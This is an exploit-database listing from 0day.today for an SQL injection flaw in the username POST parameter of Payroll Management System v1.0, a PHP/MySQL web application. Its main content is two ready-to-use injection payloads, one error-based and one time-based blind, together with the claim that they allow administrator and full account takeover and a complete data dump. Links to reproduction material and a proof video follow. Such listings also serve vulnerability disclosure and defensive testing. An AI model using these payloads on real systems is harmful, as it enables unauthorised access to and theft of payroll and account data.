[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Payroll Management System v1.0 SQL injection Vulnerability

Author
nu11secur1ty
Risk
[
Security Risk High
]
0day-ID
0day-ID-37571
Category
web applications
Date add
03-04-2022
Platform
php
## Title: Payroll Management System v1.0 SQLi 
## Author: nu11secur1ty
## Vendor: https://www.sourcecodester.com/user/257130/activity
## Software: https://www.sourcecodester.com/php/14475/payroll-management-system-using-phpmysql-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Payroll-Management-System

## Description:
The `username` parameter appears to be vulnerable to SQL injection attacks. 
The application interacted with that domain, indicating that the injected SQL query was executed.
The attacker can take administrator account control and also of all accounts on this system, also the malicious user can download all information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: username (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=qkdmZlGW' AND (SELECT 3371 FROM(SELECT COUNT(*),CONCAT(0x716b707871,(SELECT (ELT(3371=3371,1))),0x717a7a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VIhP&password=s0N!s2u!A6'

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=qkdmZlGW' AND (SELECT 9476 FROM (SELECT(SLEEP(5)))NodP)-- Xiww&password=s0N!s2u!A6'
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Payroll-Management-System)

## Proof and Exploit:
[href](https://streamable.com/aj8bcv)

#  0day.today [2024-12-24]  #